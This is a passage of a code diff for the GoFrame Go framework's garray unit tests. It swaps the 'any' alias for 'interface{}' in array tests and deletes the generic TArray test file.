-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
-		t.Assert(array1.Reverse().Slice(), []any{6, 5, 4, 3, 2, 1, 0})
+		t.Assert(array1.Reverse().Slice(), []interface{}{6, 5, 4, 3, 2, 1, 0})
 	})
 }
 
 func TestArray_Join(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(array1.Join("."), `0.1.2.3.4.5.6`)
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, `"a"`, `\a`}
+		a1 := []interface{}{0, 1, `"a"`, `\a`}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(array1.Join("."), `0.1."a".\a`)
 	})
 
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
+		a1 := []interface{}{}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(len(array1.Join(".")), 0)
 	})
@@ -468,7 +468,7 @@ func TestArray_Join(t *testing.T) {
 
 func TestArray_String(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
 		array1 := garray.NewArrayFrom(a1)
 		t.Assert(array1.String(), `[0,1,2,3,4,5,6]`)
 		array1 = nil
@@ -478,9 +478,9 @@ func TestArray_String(t *testing.T) {
 
 func TestArray_Replace(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		a2 := []any{"a", "b", "c"}
-		a3 := []any{"m", "n", "p", "z", "x", "y", "d", "u"}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
+		a2 := []interface{}{"a", "b", "c"}
+		a3 := []interface{}{"m", "n", "p", "z", "x", "y", "d", "u"}
 		array1 := garray.NewArrayFrom(a1)
 		array2 := array1.Replace(a2)
 		t.Assert(array2.Len(), 7)
@@ -497,8 +497,8 @@ func TestArray_Replace(t *testing.T) {
 
 func TestArray_SetArray(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		a2 := []any{"a", "b", "c"}
+		a1 := []interface{}{0, 1, 2, 3, 4, 5, 6}
+		a2 := []interface{}{"a", "b", "c"}
 
 		array1 := garray.NewArrayFrom(a1)
 		array1 = array1.SetArray(a2)
@@ -510,9 +510,9 @@ func TestArray_SetArray(t *testing.T) {
 
 func TestArray_Sum(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3}
-		a2 := []any{"a", "b", "c"}
-		a3 := []any{"a", "1", "2"}
+		a1 := []interface{}{0, 1, 2, 3}
+		a2 := []interface{}{"a", "b", "c"}
+		a3 := []interface{}{"a", "1", "2"}
 
 		array1 := garray.NewArrayFrom(a1)
 		array2 := garray.NewArrayFrom(a2)
@@ -527,7 +527,7 @@ func TestArray_Sum(t *testing.T) {
 
 func TestArray_Clone(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3}
+		a1 := []interface{}{0, 1, 2, 3}
 		array1 := garray.NewArrayFrom(a1)
 		array2 := array1.Clone()
 
@@ -540,7 +540,7 @@ func TestArray_Clone(t *testing.T) {
 
 func TestArray_CountValues(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{"a", "b", "c", "d", "e", "d"}
+		a1 := []interface{}{"a", "b", "c", "d", "e", "d"}
 		array1 := garray.NewArrayFrom(a1)
 		array2 := array1.CountValues()
 		t.Assert(len(array2), 5)
@@ -551,13 +551,13 @@ func TestArray_CountValues(t *testing.T) {
 
 func TestArray_LockFunc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewArrayFrom(s1, true)
 
 		ch1 := make(chan int64, 3)
 		ch2 := make(chan int64, 3)
 		// go1
-		go a1.LockFunc(func(n1 []any) { // 读写锁
+		go a1.LockFunc(func(n1 []interface{}) { // 读写锁
 			time.Sleep(2 * time.Second) // 暂停2秒
 			n1[2] = "g"
 			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
@@ -583,13 +583,13 @@ func TestArray_LockFunc(t *testing.T) {
 
 func TestArray_RLockFunc(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
+		s1 := []interface{}{"a", "b", "c", "d"}
 		a1 := garray.NewArrayFrom(s1, true)
 
 		ch1 := make(chan int64, 3)
 		ch2 := make(chan int64, 1)
 		// go1
-		go a1.RLockFunc(func(n1 []any) { // 读锁
+		go a1.RLockFunc(func(n1 []interface{}) { // 读锁
 			time.Sleep(2 * time.Second) // 暂停1秒
 			n1[2] = "g"
 			ch2 <- gconv.Int64(time.Now().UnixNano() / 1000 / 1000)
@@ -616,7 +616,7 @@ func TestArray_RLockFunc(t *testing.T) {
 func TestArray_Json(t *testing.T) {
 	// pointer
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
+		s1 := []interface{}{"a", "b", "d", "c"}
 		a1 := garray.NewArrayFrom(s1)
 		b1, err1 := json.Marshal(a1)
 		b2, err2 := json.Marshal(s1)
@@ -635,7 +635,7 @@ func TestArray_Json(t *testing.T) {
 	})
 	// value.
 	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "d", "c"}
+		s1 := []interface{}{"a", "b", "d", "c"}
 		a1 := *garray.NewArrayFrom(s1)
 		b1, err1 := json.Marshal(a1)
 		b2, err2 := json.Marshal(s1)
@@ -696,26 +696,26 @@ func TestArray_Iterator(t *testing.T) {
 	slice := g.Slice{"a", "b", "d", "c"}
 	array := garray.NewArrayFrom(slice)
 	gtest.C(t, func(t *gtest.T) {
-		array.Iterator(func(k int, v any) bool {
+		array.Iterator(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		array.IteratorAsc(func(k int, v any) bool {
+		array.IteratorAsc(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
-		array.IteratorDesc(func(k int, v any) bool {
+		array.IteratorDesc(func(k int, v interface{}) bool {
 			t.Assert(v, slice[k])
 			return true
 		})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.Iterator(func(k int, v any) bool {
+		array.Iterator(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -723,7 +723,7 @@ func TestArray_Iterator(t *testing.T) {
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.IteratorAsc(func(k int, v any) bool {
+		array.IteratorAsc(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -731,7 +731,7 @@ func TestArray_Iterator(t *testing.T) {
 	})
 	gtest.C(t, func(t *gtest.T) {
 		index := 0
-		array.IteratorDesc(func(k int, v any) bool {
+		array.IteratorDesc(func(k int, v interface{}) bool {
 			index++
 			return false
 		})
@@ -805,27 +805,27 @@ func TestArray_Filter(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		values := g.Slice{0, 1, 2, 3, 4, "", g.Slice{}}
 		array := garray.NewArrayFromCopy(values)
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsNil(value)
 		}).Slice(), values)
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewArrayFromCopy(g.Slice{nil, 1, 2, 3, 4, nil})
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsNil(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewArrayFrom(g.Slice{0, 1, 2, 3, 4, "", g.Slice{}})
 
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsEmpty(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewArrayFrom(g.Slice{1, 2, 3, 4})
 
-		t.Assert(array.Filter(func(index int, value any) bool {
+		t.Assert(array.Filter(func(index int, value interface{}) bool {
 			return empty.IsEmpty(value)
 		}), g.Slice{1, 2, 3, 4})
 	})
@@ -845,7 +845,7 @@ func TestArray_FilterEmpty(t *testing.T) {
 func TestArray_Walk(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
 		array := garray.NewArrayFrom(g.Slice{"1", "2"})
-		t.Assert(array.Walk(func(value any) any {
+		t.Assert(array.Walk(func(value interface{}) interface{} {
 			return "key-" + gconv.String(value)
 		}), g.Slice{"key-1", "key-2"})
 	})

container/garray/garray_z_unit_normal_int_test.go

@@ -195,7 +195,7 @@ func TestIntArray_Range(t *testing.T) {
 
 func TestIntArray_Merge(t *testing.T) {
 	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
@@ -204,7 +204,7 @@ func TestIntArray_Merge(t *testing.T) {
 
 		n1 := []int{0, 1, 2, 3}
 		n2 := []int{4, 5, 6, 7}
-		i1 := []any{"1", "2"}
+		i1 := []interface{}{"1", "2"}
 		s1 := []string{"a", "b", "c"}
 		s2 := []string{"e", "f"}
 		a1 := garray.NewIntArrayFrom(n1)
@@ -216,7 +216,7 @@ func TestIntArray_Merge(t *testing.T) {
 		a6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 
 		a7 := garray.NewSortedStrArrayFrom(s1)
-		a8 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		a8 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 
 		t.Assert(a1.Merge(a2).Slice(), []int{0, 1, 2, 3, 4, 5, 6, 7})
 		t.Assert(a1.Merge(a3).Len(), 10)

container/garray/garray_z_unit_normal_str_test.go

@@ -235,14 +235,14 @@ func TestStrArray_PopLeftsAndPopRights(t *testing.T) {
 		value2 := []string{"0", "1", "2", "3", "4", "5", "6"}
 		array1 := garray.NewStrArrayFrom(value1)
 		array2 := garray.NewStrArrayFrom(value2)
-		t.Assert(array1.PopLefts(2), []any{"0", "1"})
-		t.Assert(array1.Slice(), []any{"2", "3", "4", "5", "6"})
-		t.Assert(array1.PopRights(2), []any{"5", "6"})
-		t.Assert(array1.Slice(), []any{"2", "3", "4"})
-		t.Assert(array1.PopRights(20), []any{"2", "3", "4"})
-		t.Assert(array1.Slice(), []any{})
-		t.Assert(array2.PopLefts(20), []any{"0", "1", "2", "3", "4", "5", "6"})
-		t.Assert(array2.Slice(), []any{})
+		t.Assert(array1.PopLefts(2), []interface{}{"0", "1"})
+		t.Assert(array1.Slice(), []interface{}{"2", "3", "4", "5", "6"})
+		t.Assert(array1.PopRights(2), []interface{}{"5", "6"})
+		t.Assert(array1.Slice(), []interface{}{"2", "3", "4"})
+		t.Assert(array1.PopRights(20), []interface{}{"2", "3", "4"})
+		t.Assert(array1.Slice(), []interface{}{})
+		t.Assert(array2.PopLefts(20), []interface{}{"0", "1", "2", "3", "4", "5", "6"})
+		t.Assert(array2.Slice(), []interface{}{})
 	})
 }
 
@@ -251,12 +251,12 @@ func TestString_Range(t *testing.T) {
 		value1 := []string{"0", "1", "2", "3", "4", "5", "6"}
 		array1 := garray.NewStrArrayFrom(value1)
 		array2 := garray.NewStrArrayFrom(value1, true)
-		t.Assert(array1.Range(0, 1), []any{"0"})
-		t.Assert(array1.Range(1, 2), []any{"1"})
-		t.Assert(array1.Range(0, 2), []any{"0", "1"})
+		t.Assert(array1.Range(0, 1), []interface{}{"0"})
+		t.Assert(array1.Range(1, 2), []interface{}{"1"})
+		t.Assert(array1.Range(0, 2), []interface{}{"0", "1"})
 		t.Assert(array1.Range(-1, 10), value1)
 		t.Assert(array1.Range(10, 1), nil)
-		t.Assert(array2.Range(0, 1), []any{"0"})
+		t.Assert(array2.Range(0, 1), []interface{}{"0"})
 	})
 }
 
@@ -268,7 +268,7 @@ func TestStrArray_Merge(t *testing.T) {
 		array2 := garray.NewStrArrayFrom(a21)
 		t.Assert(array1.Merge(array2).Slice(), []string{"0", "1", "2", "3", "4", "5", "6", "7"})
 
-		func1 := func(v1, v2 any) int {
+		func1 := func(v1, v2 interface{}) int {
 			if gconv.Int(v1) < gconv.Int(v2) {
 				return 0
 			}
@@ -278,9 +278,9 @@ func TestStrArray_Merge(t *testing.T) {
 		s1 := []string{"a", "b", "c", "d"}
 		s2 := []string{"e", "f"}
 		i1 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i2 := garray.NewArrayFrom([]any{3})
+		i2 := garray.NewArrayFrom([]interface{}{3})
 		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
+		s4 := garray.NewSortedArrayFrom([]interface{}{4, 5}, func1)
 		s5 := garray.NewSortedStrArrayFrom(s2)
 		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
 		a1 := garray.NewStrArrayFrom(s1)

container/garray/garray_z_unit_normal_t_test.go

@@ -1,856 +0,0 @@
-// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
-//
-// This Source Code Form is subject to the terms of the MIT License.
-// If a copy of the MIT was not distributed with this file,
-// You can obtain one at https://github.com/gogf/gf.
-
-// go test *.go
-
-package garray_test
-
-import (
-	"testing"
-	"time"
-
-	"github.com/gogf/gf/v2/container/garray"
-	"github.com/gogf/gf/v2/frame/g"
-	"github.com/gogf/gf/v2/internal/empty"
-	"github.com/gogf/gf/v2/internal/json"
-	"github.com/gogf/gf/v2/test/gtest"
-	"github.com/gogf/gf/v2/util/gconv"
-)
-
-func Test_TArray_Basic(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		expect := []int{0, 1, 2, 3}
-		array := garray.NewTArrayFrom(expect)
-		array2 := garray.NewTArrayFrom(expect)
-		array3 := garray.NewTArrayFrom([]int{})
-
-		t.Assert(array.Slice(), expect)
-		t.Assert(array.Interfaces(), expect)
-		err := array.Set(0, 100) // 100, 1, 2, 3
-		t.AssertNil(err)
-
-		err = array.Set(100, 100)
-		t.AssertNE(err, nil)
-
-		t.Assert(array.IsEmpty(), false)
-
-		copyArray := array.DeepCopy()
-		ca := copyArray.(*garray.TArray[int])
-		ca.Set(0, 1)
-		cval, _ := ca.Get(0)
-		val, _ := array.Get(0)
-		t.AssertNE(cval, val)
-
-		v, ok := array.Get(0)
-		t.Assert(v, 100)
-		t.Assert(ok, true)
-
-		v, ok = array.Get(1)
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-
-		v, ok = array.Get(4)
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-
-		t.Assert(array.Search(100), 0)
-		t.Assert(array3.Search(100), -1)
-		t.Assert(array.Contains(100), true)
-
-		v, ok = array.Remove(0) // 1, 2, 3
-		t.Assert(v, 100)
-		t.Assert(ok, true)
-		t.Assert(array.Slice(), []int{1, 2, 3})
-
-		v, ok = array.Remove(-1)
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-		t.Assert(array.Slice(), []int{1, 2, 3})
-
-		v, ok = array.Remove(100000)
-		t.Assert(v, 0)
-		t.Assert(ok, false)
-		t.Assert(array.Slice(), []int{1, 2, 3})
-
-		v, ok = array2.Remove(3) // 0 1 2
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-
-		v, ok = array2.Remove(1) // 0 2
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-
-		t.Assert(array.Contains(100), false)
-		array.Append(4) // 2, 2, 3, 4
-		t.Assert(array.Slice(), []int{2, 2, 3, 4})
-		t.Assert(array.Len(), 4)
-		array.InsertBefore(0, 100) // 100, 2, 2, 3, 4
-		t.Assert(array.Slice(), []int{100, 2, 2, 3, 4})
-		array.InsertAfter(0, 200) // 100, 200, 2, 2, 3, 4
-		t.Assert(array.Slice(), []int{100, 200, 2, 2, 3, 4})
-		array.InsertBefore(5, 300)
-		array.InsertAfter(6, 400)
-		t.Assert(array.Slice(), []int{100, 200, 2, 2, 3, 300, 4, 400})
-		t.Assert(array.Clear().Len(), 0)
-		err = array.InsertBefore(99, 9900)
-		t.AssertNE(err, nil)
-		err = array.InsertAfter(99, 9900)
-		t.AssertNE(err, nil)
-
-		t.Assert(array.String(), "[]")
-	})
-}
-
-func TestTArray_Sort(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		expect1 := []any{0, 1, 2, 3}
-		expect2 := []any{3, 2, 1, 0}
-		array := garray.NewTArray[int]()
-		for i := 3; i >= 0; i-- {
-			array.Append(i)
-		}
-		array.SortFunc(func(v1, v2 int) bool {
-			return v1 < v2
-		})
-		t.Assert(array.Slice(), expect1)
-		array.SortFunc(func(v1, v2 int) bool {
-			return v1 > v2
-		})
-		t.Assert(array.Slice(), expect2)
-	})
-}
-
-func TestTArray_Unique(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		expect := []int{1, 2, 3, 4, 5, 3, 2, 2, 3, 5, 5}
-		array := garray.NewTArrayFrom(expect)
-		t.Assert(array.Unique().Slice(), []int{1, 2, 3, 4, 5})
-	})
-	gtest.C(t, func(t *gtest.T) {
-		expect := []int{}
-		array := garray.NewTArrayFrom(expect)
-		t.Assert(array.Unique().Slice(), []int{})
-	})
-}
-
-func TestTArray_PushAndPop(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		expect := []any{0, 1, 2, 3}
-		array := garray.NewTArrayFrom(expect)
-		t.Assert(array.Slice(), expect)
-
-		v, ok := array.PopLeft()
-		t.Assert(v, 0)
-		t.Assert(ok, true)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-
-		v, ok = array.PopRand()
-		t.AssertIN(v, []any{1, 2})
-		t.Assert(ok, true)
-
-		v, ok = array.PopRand()
-		t.AssertIN(v, []any{1, 2})
-		t.Assert(ok, true)
-
-		t.Assert(array.Len(), 0)
-		array.PushLeft(1).PushRight(2)
-		t.Assert(array.Slice(), []any{1, 2})
-	})
-}
-
-func TestTArray_PopRands(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{100, 200, 300, 400, 500, 600}
-		array := garray.NewFromCopy(a1)
-		t.AssertIN(array.PopRands(2), []any{100, 200, 300, 400, 500, 600})
-	})
-}
-
-func TestTArray_PopLeft(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewFrom(g.Slice{1, 2, 3})
-		v, ok := array.PopLeft()
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 2)
-		v, ok = array.PopLeft()
-		t.Assert(v, 2)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 1)
-		v, ok = array.PopLeft()
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestTArray_PopRight(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewFrom(g.Slice{1, 2, 3})
-
-		v, ok := array.PopRight()
-		t.Assert(v, 3)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 2)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 2)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 1)
-
-		v, ok = array.PopRight()
-		t.Assert(v, 1)
-		t.Assert(ok, true)
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestTArray_PopLefts(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewFrom(g.Slice{1, 2, 3})
-		t.Assert(array.PopLefts(2), g.Slice{1, 2})
-		t.Assert(array.Len(), 1)
-		t.Assert(array.PopLefts(2), g.Slice{3})
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestTArray_PopRights(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.NewFrom(g.Slice{1, 2, 3})
-		t.Assert(array.PopRights(2), g.Slice{2, 3})
-		t.Assert(array.Len(), 1)
-		t.Assert(array.PopLefts(2), g.Slice{1})
-		t.Assert(array.Len(), 0)
-	})
-}
-
-func TestTArray_PopLeftsAndPopRights(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		array := garray.New()
-		v, ok := array.PopLeft()
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-		t.Assert(array.PopLefts(10), nil)
-
-		v, ok = array.PopRight()
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-		t.Assert(array.PopRights(10), nil)
-
-		v, ok = array.PopRand()
-		t.Assert(v, nil)
-		t.Assert(ok, false)
-		t.Assert(array.PopRands(10), nil)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		value1 := []any{0, 1, 2, 3, 4, 5, 6}
-		value2 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(value1)
-		array2 := garray.NewTArrayFrom(value2)
-		t.Assert(array1.PopLefts(2), []any{0, 1})
-		t.Assert(array1.Slice(), []any{2, 3, 4, 5, 6})
-		t.Assert(array1.PopRights(2), []any{5, 6})
-		t.Assert(array1.Slice(), []any{2, 3, 4})
-		t.Assert(array1.PopRights(20), []any{2, 3, 4})
-		t.Assert(array1.Slice(), []any{})
-		t.Assert(array2.PopLefts(20), []any{0, 1, 2, 3, 4, 5, 6})
-		t.Assert(array2.Slice(), []any{})
-	})
-}
-
-func TestTArray_Range(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		value1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(value1)
-		array2 := garray.NewTArrayFrom(value1, true)
-		t.Assert(array1.Range(0, 1), []any{0})
-		t.Assert(array1.Range(1, 2), []any{1})
-		t.Assert(array1.Range(0, 2), []any{0, 1})
-		t.Assert(array1.Range(-1, 10), value1)
-		t.Assert(array1.Range(10, 2), nil)
-		t.Assert(array2.Range(1, 3), []any{1, 2})
-	})
-}
-
-func TestTArray_Merge(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		func1 := func(v1, v2 any) int {
-			if gconv.Int(v1) < gconv.Int(v2) {
-				return 0
-			}
-			return 1
-		}
-
-		i1 := []any{0, 1, 2, 3}
-		i2 := []any{4, 5, 6, 7}
-		array1 := garray.NewTArrayFrom(i1)
-		array2 := garray.NewTArrayFrom(i2)
-		t.Assert(array1.Merge(array2).Slice(), []any{0, 1, 2, 3, 4, 5, 6, 7})
-
-		// s1 := []string{"a", "b", "c", "d"}
-		s2 := []string{"e", "f"}
-		i3 := garray.NewIntArrayFrom([]int{1, 2, 3})
-		i4 := garray.NewTArrayFrom([]any{3})
-		s3 := garray.NewStrArrayFrom([]string{"g", "h"})
-		s4 := garray.NewSortedArrayFrom([]any{4, 5}, func1)
-		s5 := garray.NewSortedStrArrayFrom(s2)
-		s6 := garray.NewSortedIntArrayFrom([]int{1, 2, 3})
-		a1 := garray.NewTArrayFrom(i1)
-
-		t.Assert(a1.Merge(s2).Len(), 6)
-		t.Assert(a1.Merge(i3).Len(), 9)
-		t.Assert(a1.Merge(i4).Len(), 10)
-		t.Assert(a1.Merge(s3).Len(), 12)
-		t.Assert(a1.Merge(s4).Len(), 14)
-		t.Assert(a1.Merge(s5).Len(), 16)
-		t.Assert(a1.Merge(s6).Len(), 19)
-	})
-}
-
-func TestTArray_Fill(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0}
-		a2 := []any{0}
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := garray.NewTArrayFrom(a2, true)
-
-		t.Assert(array1.Fill(1, 2, 100), nil)
-		t.Assert(array1.Slice(), []any{0, 100, 100})
-
-		t.Assert(array2.Fill(0, 2, 100), nil)
-		t.Assert(array2.Slice(), []any{100, 100})
-
-		t.AssertNE(array2.Fill(-1, 2, 100), nil)
-		t.Assert(array2.Slice(), []any{100, 100})
-	})
-}
-
-func TestTArray_Chunk(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5}
-		array1 := garray.NewTArrayFrom(a1)
-		chunks := array1.Chunk(2)
-		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []any{1, 2})
-		t.Assert(chunks[1], []any{3, 4})
-		t.Assert(chunks[2], []any{5})
-		t.Assert(array1.Chunk(0), nil)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5}
-		array1 := garray.NewTArrayFrom(a1)
-		chunks := array1.Chunk(3)
-		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5})
-		t.Assert(array1.Chunk(0), nil)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		chunks := array1.Chunk(2)
-		t.Assert(len(chunks), 3)
-		t.Assert(chunks[0], []any{1, 2})
-		t.Assert(chunks[1], []any{3, 4})
-		t.Assert(chunks[2], []any{5, 6})
-		t.Assert(array1.Chunk(0), nil)
-	})
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		chunks := array1.Chunk(3)
-		t.Assert(len(chunks), 2)
-		t.Assert(chunks[0], []any{1, 2, 3})
-		t.Assert(chunks[1], []any{4, 5, 6})
-		t.Assert(array1.Chunk(0), nil)
-	})
-}
-
-func TestTArray_Pad(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.Pad(3, 1).Slice(), []any{0, 1, 1})
-		t.Assert(array1.Pad(-4, 1).Slice(), []any{1, 0, 1, 1})
-		t.Assert(array1.Pad(3, 1).Slice(), []any{1, 0, 1, 1})
-	})
-}
-
-func TestTArray_SubSlice(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		array2 := garray.NewTArrayFrom(a1, true)
-		t.Assert(array1.SubSlice(0, 2), []any{0, 1})
-		t.Assert(array1.SubSlice(2, 2), []any{2, 3})
-		t.Assert(array1.SubSlice(5, 8), []any{5, 6})
-		t.Assert(array1.SubSlice(9, 1), nil)
-		t.Assert(array1.SubSlice(-2, 2), []any{5, 6})
-		t.Assert(array1.SubSlice(-9, 2), nil)
-		t.Assert(array1.SubSlice(1, -2), nil)
-		t.Assert(array2.SubSlice(0, 2), []any{0, 1})
-	})
-}
-
-func TestTArray_Rand(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(len(array1.Rands(2)), 2)
-		t.Assert(len(array1.Rands(10)), 10)
-		t.AssertIN(array1.Rands(1)[0], a1)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		s1 := []any{"a", "b", "c", "d"}
-		a1 := garray.NewTArrayFrom(s1)
-		i1, ok := a1.Rand()
-		t.Assert(ok, true)
-		t.Assert(a1.Contains(i1), true)
-		t.Assert(a1.Len(), 4)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
-		array1 := garray.NewTArrayFrom(a1)
-		rand, found := array1.Rand()
-		t.AssertNil(rand)
-		t.Assert(found, false)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
-		array1 := garray.NewTArrayFrom(a1)
-		rand := array1.Rands(1)
-		t.AssertNil(rand)
-	})
-}
-
-func TestTArray_Shuffle(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.Shuffle().Len(), 7)
-	})
-}
-
-func TestTArray_Reverse(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.Reverse().Slice(), []any{6, 5, 4, 3, 2, 1, 0})
-	})
-}
-
-func TestTArray_Join(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.Join("."), `0.1.2.3.4.5.6`)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, `"a"`, `\a`}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.Join("."), `0.1."a".\a`)
-	})
-
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(len(array1.Join(".")), 0)
-	})
-}
-
-func TestTArray_String(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
-		a1 := []any{0, 1, 2, 3, 4, 5, 6}
-		array1 := garray.NewTArrayFrom(a1)
-		t.Assert(array1.String(), `[0,1,2,3,4,5,6]`)
-		array1 = nil
-		t.Assert(array1.String(), "")
-	})
-}
-
-func TestTArray_Replace(t *testing.T) {
-	gtest.C(t, func(t *gtest.T) {
